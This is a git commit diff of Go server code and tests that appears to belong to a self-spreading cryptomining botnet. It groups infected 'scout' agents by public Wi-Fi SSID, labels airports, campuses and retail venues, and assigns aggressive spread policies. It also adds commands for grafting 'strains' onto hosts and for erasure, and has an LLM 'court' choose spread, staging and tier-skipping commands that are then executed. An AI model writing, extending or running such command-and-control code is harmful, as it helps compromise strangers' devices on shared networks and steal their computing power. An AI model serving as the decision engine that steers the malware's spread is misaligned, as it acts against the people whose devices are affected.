Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -18,6 +18,9 @@ const (
|
||||
CmdSkipTier = "skip_tier"
|
||||
CmdStageFetch = "stage_fetch"
|
||||
CmdSetAgentVersion = "set_agent_version"
|
||||
CmdSpreadGraft = "spread_graft"
|
||||
CmdPersonaTweak = "persona_tweak"
|
||||
CmdEnableErasure = "enable_erasure"
|
||||
CmdNoop = "noop"
|
||||
)
|
||||
|
||||
@@ -32,6 +35,9 @@ var knownCommands = map[string]bool{
|
||||
CmdSkipTier: true,
|
||||
CmdStageFetch: true,
|
||||
CmdSetAgentVersion: true,
|
||||
CmdSpreadGraft: true,
|
||||
CmdPersonaTweak: true,
|
||||
CmdEnableErasure: true,
|
||||
CmdNoop: true,
|
||||
}
|
||||
|
||||
|
||||
@@ -28,6 +28,8 @@ func ExpandCourtCommands(cmds []Command) []Command {
|
||||
out = append(out, ResolveSpreadRetryLane(c.Args))
|
||||
case CmdSkipTier:
|
||||
out = append(out, ResolveSkipTier(c.Args))
|
||||
case CmdSpreadGraft:
|
||||
out = append(out, c)
|
||||
default:
|
||||
out = append(out, c)
|
||||
}
|
||||
@@ -98,7 +100,7 @@ func ResolveSkipTier(args map[string]interface{}) Command {
|
||||
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
|
||||
func CourtCommandNeedsRetryElevation(cmd Command) bool {
|
||||
switch cmd.Type {
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers:
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers, CmdSpreadGraft:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
|
||||
@@ -64,7 +64,8 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
||||
This is a single-turn tribunal with no memory. Three roles speak once:
|
||||
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, spread_graft, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
spread_graft args: source_agent_id (string) — splice winning strain onto this stuck host without re-spread; requires L4 + hashrate metabolism gate.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -46,7 +47,10 @@ type Scheduler struct {
|
||||
exec CommandExecutor
|
||||
store DecisionStore
|
||||
court CourtContext
|
||||
chamber CourtDeps
|
||||
elevator ClearanceElevator
|
||||
seer SeerBridge
|
||||
surgical SurgicalDeps
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
@@ -67,6 +71,21 @@ func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecuto
|
||||
}
|
||||
}
|
||||
|
||||
// SetSeerBridge attaches The Seer memory/stream hooks (optional).
|
||||
func (s *Scheduler) SetSeerBridge(b SeerBridge) {
|
||||
s.seer = b
|
||||
}
|
||||
|
||||
// SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters.
|
||||
func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) {
|
||||
s.surgical = deps
|
||||
}
|
||||
|
||||
// SetCourtDeps wires adversarial chamber evidence, Seer feed, and Emberwake broadcast.
|
||||
func (s *Scheduler) SetCourtDeps(deps CourtDeps) {
|
||||
s.chamber = deps
|
||||
}
|
||||
|
||||
func (s *Scheduler) Start() {
|
||||
s.wg.Add(1)
|
||||
go s.loop()
|
||||
@@ -158,10 +177,32 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
}
|
||||
var systemPrompt, userPrompt string
|
||||
var courtMeta *CourtDecisionMeta
|
||||
useCourt := ShouldUseCourt(snap)
|
||||
useSurgical := false
|
||||
if s.surgical.Trace != nil {
|
||||
if trace, ok := s.surgical.Trace.TraceForAgent(agentID); ok && ShouldUseSurgicalReplay(trace, snap) {
|
||||
useSurgical = true
|
||||
erasureOn := false
|
||||
if s.surgical.ErasureActive != nil {
|
||||
erasureOn = s.surgical.ErasureActive()
|
||||
}
|
||||
atlasSummary := ""
|
||||
if s.court != nil {
|
||||
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||
}
|
||||
bundle := BuildSurgicalDiagnosticBundle(snap, trace, atlasSummary, cfg.Persona, erasureOn)
|
||||
if s.surgical.StrainLookup != nil {
|
||||
bundle.Strain = s.surgical.StrainLookup(agentID)
|
||||
}
|
||||
systemPrompt, userPrompt = BuildSurgicalReplayPrompt(bundle)
|
||||
}
|
||||
}
|
||||
useCourt := !useSurgical && ShouldUseCourt(snap)
|
||||
var courtDebate CourtDebateTranscript
|
||||
if useCourt {
|
||||
atlasSummary := ""
|
||||
var phenotype *strategy.FleetPhenotype
|
||||
var evidence CourtChamberEvidence
|
||||
if s.court != nil {
|
||||
goos := firstNonEmpty(snap.GOOS, snap.Platform)
|
||||
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
|
||||
@@ -169,8 +210,21 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
phenotype = p
|
||||
}
|
||||
}
|
||||
if s.chamber.Chamber != nil {
|
||||
evidence = s.chamber.Chamber.ChamberEvidence(agentID, snap)
|
||||
} else {
|
||||
evidence = CourtChamberEvidence{
|
||||
AgentID: agentID, AgentName: snap.Name, Hashrate: snap.MiningHashrate,
|
||||
Stuck: snap.Stuck, ChainExhausted: snap.ChainExhausted,
|
||||
ClearanceLevel: snap.ClearanceLevel, AtlasSummary: atlasSummary,
|
||||
SubnetImmune: "chamber provider unavailable",
|
||||
ErasureRecovery: FormatErasureRecovery(false, false, false),
|
||||
GossipWhispers: "none",
|
||||
}
|
||||
}
|
||||
persona := NormalizePersona(cfg.Persona)
|
||||
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
|
||||
var bundle CourtPromptBundle
|
||||
courtDebate, bundle = BuildCourtDebate(snap, evidence, phenotype, persona)
|
||||
systemPrompt = bundle.SystemPrompt
|
||||
userPrompt = bundle.UserPrompt
|
||||
courtMeta = &CourtDecisionMeta{
|
||||
@@ -182,22 +236,41 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
systemPrompt = PersonaSystemPrompt(cfg.Persona)
|
||||
userPrompt = BuildMissionPrompt(snap)
|
||||
}
|
||||
if s.seer != nil {
|
||||
systemPrompt = strings.TrimSpace(systemPrompt + "\n\n" + SeerNoteInstruction + "\n\n" + SeerToolCatalog)
|
||||
if notes := s.seer.NotesForPrompt(agentID); notes != "" {
|
||||
userPrompt = AugmentUserPromptWithNotes(userPrompt, notes)
|
||||
}
|
||||
}
|
||||
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
|
||||
|
||||
decide := Decide
|
||||
if DecideFunc != nil {
|
||||
decide = DecideFunc
|
||||
}
|
||||
if s.seer != nil {
|
||||
s.seer.EmitEvent(agentID, "request", BuildChatCompletionPayload(cfg.Model, systemPrompt, userPrompt))
|
||||
}
|
||||
response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt)
|
||||
if err != nil {
|
||||
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
|
||||
}
|
||||
if s.seer != nil {
|
||||
s.seer.EmitEvent(agentID, "response", map[string]interface{}{"error": err.Error()})
|
||||
}
|
||||
s.markRun(agentID)
|
||||
return
|
||||
}
|
||||
|
||||
if s.seer != nil {
|
||||
s.seer.EmitEvent(agentID, "response", map[string]interface{}{"content": response})
|
||||
if note, ok := ExtractSeerNote(response); ok {
|
||||
_ = s.seer.AppendNote(agentID, note, promptHash)
|
||||
}
|
||||
}
|
||||
|
||||
if courtMeta != nil {
|
||||
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||
}
|
||||
@@ -205,6 +278,12 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
if useCourt {
|
||||
cmds = ExpandCourtCommands(cmds)
|
||||
s.ensureCourtRetryClearance(agentID, cmds)
|
||||
courtDebate = FinalizeCourtDebate(courtDebate, response)
|
||||
}
|
||||
if useSurgical {
|
||||
s.runSurgicalReplay(agentID, snap, cmds, response, promptHash)
|
||||
s.markRun(agentID)
|
||||
return
|
||||
}
|
||||
results := make([]string, 0, len(cmds))
|
||||
for _, cmd := range cmds {
|
||||
@@ -224,12 +303,108 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
}
|
||||
}
|
||||
executed := FormatExecuted(cmds, results)
|
||||
if useCourt {
|
||||
s.emitCourtDebate(agentID, courtDebate, executed)
|
||||
}
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
|
||||
}
|
||||
s.markRun(agentID)
|
||||
}
|
||||
|
||||
func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTranscript, executed string) {
|
||||
seer := s.chamber.Seer
|
||||
if seer == nil {
|
||||
seer = s.surgical.Seer
|
||||
}
|
||||
if seer != nil {
|
||||
_ = seer.EmitSeerEvent("court_debate", agentID, map[string]interface{}{
|
||||
"type": "court_debate",
|
||||
"agent_id": transcript.AgentID,
|
||||
"agent_name": transcript.AgentName,
|
||||
"clearance": transcript.ClearanceLevel,
|
||||
"evidence": transcript.Evidence,
|
||||
"transcript": transcript.Transcript,
|
||||
"verdict": transcript.Verdict,
|
||||
"commands": transcript.CommandsJSON,
|
||||
"executed": executed,
|
||||
"ts": transcript.Timestamp,
|
||||
})
|
||||
}
|
||||
if s.chamber.Emberwake != nil {
|
||||
s.chamber.Emberwake(agentID, transcript)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scheduler) runSurgicalReplay(agentID string, snap AgentSnapshot, cmds []Command, response, promptHash string) {
|
||||
trace := SurgicalTraceContext{}
|
||||
if s.surgical.Trace != nil {
|
||||
trace, _ = s.surgical.Trace.TraceForAgent(agentID)
|
||||
}
|
||||
failedTier, _ := firstFailedSpreadTier(snap.LOTLAttempts)
|
||||
strain := ""
|
||||
if s.surgical.StrainLookup != nil {
|
||||
strain = s.surgical.StrainLookup(agentID)
|
||||
}
|
||||
|
||||
surgical, ok := SelectSurgicalCommand(cmds)
|
||||
if !ok {
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:no_command", nil)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
expanded := ExpandSurgicalCommand(surgical)
|
||||
var dispatched Command
|
||||
var outcome string
|
||||
for _, cmd := range expanded {
|
||||
if cmd.Type == CmdNoop {
|
||||
continue
|
||||
}
|
||||
dispatched = cmd
|
||||
if s.exec == nil {
|
||||
outcome = "no executor"
|
||||
break
|
||||
}
|
||||
sum, execErr := s.exec.Execute(agentID, cmd)
|
||||
if execErr != nil {
|
||||
outcome = "err:" + execErr.Error()
|
||||
} else {
|
||||
outcome = sum
|
||||
}
|
||||
break
|
||||
}
|
||||
if outcome == "" {
|
||||
outcome = "noop"
|
||||
}
|
||||
|
||||
fixType := surgical.Type
|
||||
if dispatched.Type != "" && dispatched.Type != surgical.Type {
|
||||
fixType = surgical.Type + "→" + dispatched.Type
|
||||
}
|
||||
fixArgs := FormatSurgicalFixArgs(surgical)
|
||||
if s.surgical.Strain != nil {
|
||||
_ = s.surgical.Strain.InsertStrainMemory(agentID, trace.SessionID, failedTier, strain, fixType, fixArgs, outcome)
|
||||
}
|
||||
if s.surgical.Seer != nil {
|
||||
_ = s.surgical.Seer.EmitSeerEvent("surgical_replay", agentID, map[string]interface{}{
|
||||
"session_id": trace.SessionID,
|
||||
"failed_tier": failedTier,
|
||||
"strain": strain,
|
||||
"fix_type": fixType,
|
||||
"fix_args": fixArgs,
|
||||
"outcome": outcome,
|
||||
"prompt_hash": promptHash,
|
||||
"response": response,
|
||||
})
|
||||
}
|
||||
executed := fixType + ":" + outcome
|
||||
if s.store != nil {
|
||||
_ = s.store.InsertAIDecision(agentID, promptHash, response, "surgical:"+executed, nil)
|
||||
}
|
||||
}
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||
|
||||
@@ -163,6 +163,98 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
type mockSurgicalTrace struct {
|
||||
trace SurgicalTraceContext
|
||||
ok bool
|
||||
}
|
||||
|
||||
func (m *mockSurgicalTrace) TraceForAgent(string) (SurgicalTraceContext, bool) {
|
||||
return m.trace, m.ok
|
||||
}
|
||||
|
||||
type mockStrainStore struct {
|
||||
mu sync.Mutex
|
||||
rows []string
|
||||
}
|
||||
|
||||
func (m *mockStrainStore) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error {
|
||||
m.mu.Lock()
|
||||
m.rows = append(m.rows, agentID+":"+fixType+":"+outcome)
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
type mockSeer struct {
|
||||
mu sync.Mutex
|
||||
events []string
|
||||
}
|
||||
|
||||
func (m *mockSeer) EmitSeerEvent(eventType, agentID string, payload map[string]interface{}) error {
|
||||
m.mu.Lock()
|
||||
m.events = append(m.events, eventType+":"+agentID)
|
||||
m.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestSchedulerSurgicalReplayDispatchesOneCommand(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||
return `Rationale: skip broken docker tier.
|
||||
{"commands":[{"type":"skip_tier","args":{"tier":"docker"}}]}`, nil
|
||||
}
|
||||
|
||||
exec := &mockExec{}
|
||||
store := &mockStore{}
|
||||
strain := &mockStrainStore{}
|
||||
seer := &mockSeer{}
|
||||
sched := NewScheduler(
|
||||
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
|
||||
&mockSnap{
|
||||
ids: []string{"surg-1"},
|
||||
snap: AgentSnapshot{
|
||||
AgentID: "surg-1", Name: "host",
|
||||
LOTLAttempts: []TierAttempt{
|
||||
{Tier: "vuln_recon", OK: true},
|
||||
{Tier: "docker", OK: false, Error: "daemon down"},
|
||||
},
|
||||
},
|
||||
},
|
||||
exec,
|
||||
store,
|
||||
nil,
|
||||
nil,
|
||||
)
|
||||
sched.SetSurgicalDeps(SurgicalDeps{
|
||||
Trace: &mockSurgicalTrace{
|
||||
trace: SurgicalTraceContext{SessionID: "trace-99", HopIndex: 0, HopCount: 2},
|
||||
ok: true,
|
||||
},
|
||||
Strain: strain,
|
||||
Seer: seer,
|
||||
})
|
||||
sched.lastRun["surg-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
exec.mu.Lock()
|
||||
n := len(exec.calls)
|
||||
call := exec.calls
|
||||
exec.mu.Unlock()
|
||||
if n != 1 || call[0].Type != CmdReorderTiers {
|
||||
t.Fatalf("expected single reorder_tiers dispatch, got %+v", call)
|
||||
}
|
||||
strain.mu.Lock()
|
||||
defer strain.mu.Unlock()
|
||||
if len(strain.rows) != 1 {
|
||||
t.Fatalf("strain memory: %v", strain.rows)
|
||||
}
|
||||
seer.mu.Lock()
|
||||
defer seer.mu.Unlock()
|
||||
if len(seer.events) != 1 || seer.events[0] != "surgical_replay:surg-1" {
|
||||
t.Fatalf("seer events: %v", seer.events)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
|
||||
228
server/internal/ai/scout_constellation.go
Normal file
228
server/internal/ai/scout_constellation.go
Normal file
@@ -0,0 +1,228 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
ScoutConstellationMinAgents = 3
|
||||
ScoutConstellationWindow = 10 * time.Minute
|
||||
|
||||
VenueAirport = "airport"
|
||||
VenueCampus = "campus"
|
||||
VenueRetail = "retail"
|
||||
VenueUnknown = "unknown"
|
||||
)
|
||||
|
||||
// ScoutHit is one scout_report observation for constellation clustering.
|
||||
type ScoutHit struct {
|
||||
AgentID string
|
||||
At time.Time
|
||||
ServiceCount int
|
||||
}
|
||||
|
||||
// ScoutConstellation is an active venue cluster keyed by Wi-Fi SSID.
|
||||
type ScoutConstellation struct {
|
||||
SSID string `json:"ssid"`
|
||||
VenueClass string `json:"venue_class"`
|
||||
PersonaPack string `json:"persona_pack"`
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Hits int `json:"hits"`
|
||||
FormedAt time.Time `json:"formed_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// ScoutConstellationRegistry tracks scout_report hits and active constellations.
|
||||
type ScoutConstellationRegistry struct {
|
||||
hits map[string][]ScoutHit
|
||||
active map[string]ScoutConstellation
|
||||
agentSSID map[string]string
|
||||
}
|
||||
|
||||
// NewScoutConstellationRegistry returns an empty scout constellation tracker.
|
||||
func NewScoutConstellationRegistry() *ScoutConstellationRegistry {
|
||||
return &ScoutConstellationRegistry{
|
||||
hits: make(map[string][]ScoutHit),
|
||||
active: make(map[string]ScoutConstellation),
|
||||
agentSSID: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
// Record ingests a scout_report hit. The second return is true when the constellation changed.
|
||||
func (r *ScoutConstellationRegistry) Record(agentID, ssid string, serviceCount int, now time.Time) (ScoutConstellation, bool) {
|
||||
ssid = normalizeScoutSSID(ssid)
|
||||
if ssid == "" || strings.TrimSpace(agentID) == "" {
|
||||
return ScoutConstellation{}, false
|
||||
}
|
||||
if now.IsZero() {
|
||||
now = time.Now().UTC()
|
||||
}
|
||||
|
||||
r.hits[ssid] = append(r.hits[ssid], ScoutHit{
|
||||
AgentID: agentID,
|
||||
At: now,
|
||||
ServiceCount: serviceCount,
|
||||
})
|
||||
r.hits[ssid] = pruneScoutHits(r.hits[ssid], now.Add(-ScoutConstellationWindow))
|
||||
r.agentSSID[agentID] = ssid
|
||||
|
||||
agents, totalHits, maxServices := scoutWindowStats(r.hits[ssid])
|
||||
if len(agents) < ScoutConstellationMinAgents {
|
||||
return ScoutConstellation{}, false
|
||||
}
|
||||
|
||||
venue := InferVenueClass(ssid, maxServices, len(agents))
|
||||
persona := VenuePersonaPack(venue)
|
||||
prev, had := r.active[ssid]
|
||||
changed := !had ||
|
||||
prev.VenueClass != venue ||
|
||||
prev.PersonaPack != persona ||
|
||||
!sameAgentSet(prev.AgentIDs, agents)
|
||||
|
||||
c := ScoutConstellation{
|
||||
SSID: ssid,
|
||||
VenueClass: venue,
|
||||
PersonaPack: persona,
|
||||
AgentIDs: append([]string(nil), agents...),
|
||||
Hits: totalHits,
|
||||
UpdatedAt: now,
|
||||
}
|
||||
if had {
|
||||
c.FormedAt = prev.FormedAt
|
||||
} else {
|
||||
c.FormedAt = now
|
||||
}
|
||||
r.active[ssid] = c
|
||||
return c, changed
|
||||
}
|
||||
|
||||
// Snapshot returns all active scout constellations.
|
||||
func (r *ScoutConstellationRegistry) Snapshot() []ScoutConstellation {
|
||||
out := make([]ScoutConstellation, 0, len(r.active))
|
||||
for _, c := range r.active {
|
||||
out = append(out, c)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ForAgent returns the active constellation for a scout agent, if any.
|
||||
func (r *ScoutConstellationRegistry) ForAgent(agentID string) *ScoutConstellation {
|
||||
ssid, ok := r.agentSSID[strings.TrimSpace(agentID)]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
c, ok := r.active[ssid]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
cp := c
|
||||
return &cp
|
||||
}
|
||||
|
||||
// BuildScoutSpreadPolicy returns spread_policy JSON fields for a venue constellation.
|
||||
func BuildScoutSpreadPolicy(constellation ScoutConstellation) map[string]interface{} {
|
||||
temp := PersonaSpreadTemperament(constellation.PersonaPack)
|
||||
return map[string]interface{}{
|
||||
"persona_pack": constellation.PersonaPack,
|
||||
"venue_class": constellation.VenueClass,
|
||||
"constellation_ssid": constellation.SSID,
|
||||
"spread_temperament": temp,
|
||||
"scout_constellation": true,
|
||||
}
|
||||
}
|
||||
|
||||
// InferVenueClass heuristically classifies a Wi-Fi venue from SSID + scout telemetry.
|
||||
func InferVenueClass(ssid string, serviceCount, agentCount int) string {
|
||||
s := strings.ToLower(strings.TrimSpace(ssid))
|
||||
switch {
|
||||
case containsAny(s, "airport", "lounge", "terminal", "inflight", "gogoinflight", "fly", "united", "delta", "ba-wifi"):
|
||||
return VenueAirport
|
||||
case containsAny(s, "edu", "university", "college", "campus", "student", "academic"):
|
||||
return VenueCampus
|
||||
case containsAny(s, "guest", "public", "free", "store", "mall", "shop", "retail", "cafe", "coffee", "starbucks", "walmart", "target"):
|
||||
return VenueRetail
|
||||
case serviceCount >= 20 && agentCount >= ScoutConstellationMinAgents:
|
||||
return VenueAirport
|
||||
case serviceCount >= 12:
|
||||
return VenueCampus
|
||||
default:
|
||||
return VenueUnknown
|
||||
}
|
||||
}
|
||||
|
||||
// VenuePersonaPack maps venue class to a Calibrate persona temperament.
|
||||
func VenuePersonaPack(venue string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(venue)) {
|
||||
case VenueAirport:
|
||||
return PersonaPersuasive
|
||||
case VenueCampus:
|
||||
return PersonaBalanced
|
||||
case VenueRetail:
|
||||
return PersonaAggressive
|
||||
default:
|
||||
return PersonaBalanced
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeScoutSSID(ssid string) string {
|
||||
return strings.TrimSpace(ssid)
|
||||
}
|
||||
|
||||
func pruneScoutHits(hits []ScoutHit, cutoff time.Time) []ScoutHit {
|
||||
out := hits[:0]
|
||||
for _, h := range hits {
|
||||
if !h.At.Before(cutoff) {
|
||||
out = append(out, h)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func scoutWindowStats(hits []ScoutHit) (agents []string, totalHits, maxServices int) {
|
||||
seen := make(map[string]bool)
|
||||
for _, h := range hits {
|
||||
totalHits++
|
||||
if h.ServiceCount > maxServices {
|
||||
maxServices = h.ServiceCount
|
||||
}
|
||||
id := strings.TrimSpace(h.AgentID)
|
||||
if id == "" || seen[id] {
|
||||
continue
|
||||
}
|
||||
seen[id] = true
|
||||
agents = append(agents, id)
|
||||
}
|
||||
return agents, totalHits, maxServices
|
||||
}
|
||||
|
||||
func sameAgentSet(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
seen := make(map[string]int, len(a))
|
||||
for _, id := range a {
|
||||
seen[id]++
|
||||
}
|
||||
for _, id := range b {
|
||||
seen[id]--
|
||||
if seen[id] < 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, n := range seen {
|
||||
if n != 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func containsAny(s string, needles ...string) bool {
|
||||
for _, n := range needles {
|
||||
if strings.Contains(s, n) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
90
server/internal/ai/scout_constellation_test.go
Normal file
90
server/internal/ai/scout_constellation_test.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestInferVenueClassSSIDHints(t *testing.T) {
|
||||
cases := []struct {
|
||||
ssid string
|
||||
want string
|
||||
svc int
|
||||
agents int
|
||||
}{
|
||||
{"SFO-Airport-Free-WiFi", VenueAirport, 8, 3},
|
||||
{"StateUniversity-Campus", VenueCampus, 6, 3},
|
||||
{"Target-Guest", VenueRetail, 4, 3},
|
||||
{"MyHomeNetwork", VenueUnknown, 2, 3},
|
||||
{"dense-mobile", VenueAirport, 25, 4},
|
||||
{"busy-lan", VenueCampus, 14, 3},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := InferVenueClass(tc.ssid, tc.svc, tc.agents)
|
||||
if got != tc.want {
|
||||
t.Fatalf("InferVenueClass(%q)=%q want %q", tc.ssid, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVenuePersonaPackMapping(t *testing.T) {
|
||||
if VenuePersonaPack(VenueAirport) != PersonaPersuasive {
|
||||
t.Fatal("airport should be persuasive")
|
||||
}
|
||||
if VenuePersonaPack(VenueRetail) != PersonaAggressive {
|
||||
t.Fatal("retail should be aggressive")
|
||||
}
|
||||
if VenuePersonaPack(VenueCampus) != PersonaBalanced {
|
||||
t.Fatal("campus should be balanced")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationFormsAtThreeAgents(t *testing.T) {
|
||||
reg := NewScoutConstellationRegistry()
|
||||
now := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
ssid := "Campus-Guest"
|
||||
|
||||
_, changed := reg.Record("scout-1", ssid, 4, now)
|
||||
if changed {
|
||||
t.Fatal("should not form with one scout")
|
||||
}
|
||||
_, changed = reg.Record("scout-2", ssid, 6, now.Add(time.Minute))
|
||||
if changed {
|
||||
t.Fatal("should not form with two scouts")
|
||||
}
|
||||
c, changed := reg.Record("scout-3", ssid, 8, now.Add(2*time.Minute))
|
||||
if !changed {
|
||||
t.Fatal("expected constellation formation")
|
||||
}
|
||||
if c.VenueClass != VenueCampus {
|
||||
t.Fatalf("venue=%q", c.VenueClass)
|
||||
}
|
||||
if c.PersonaPack != PersonaBalanced {
|
||||
t.Fatalf("persona=%q", c.PersonaPack)
|
||||
}
|
||||
if len(c.AgentIDs) != 3 {
|
||||
t.Fatalf("agents=%v", c.AgentIDs)
|
||||
}
|
||||
|
||||
policy := BuildScoutSpreadPolicy(c)
|
||||
if policy["persona_pack"] != PersonaBalanced {
|
||||
t.Fatalf("policy persona=%v", policy["persona_pack"])
|
||||
}
|
||||
if policy["scout_constellation"] != true {
|
||||
t.Fatal("missing scout_constellation flag")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScoutConstellationPrunesOldHits(t *testing.T) {
|
||||
reg := NewScoutConstellationRegistry()
|
||||
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
||||
ssid := "Retail-Free"
|
||||
|
||||
reg.Record("a1", ssid, 3, base.Add(-11*time.Minute))
|
||||
reg.Record("a2", ssid, 3, base.Add(-11*time.Minute))
|
||||
reg.Record("a3", ssid, 3, base)
|
||||
_, changed := reg.Record("a4", ssid, 3, base.Add(time.Minute))
|
||||
if changed {
|
||||
t.Fatal("stale hits should not count toward constellation")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user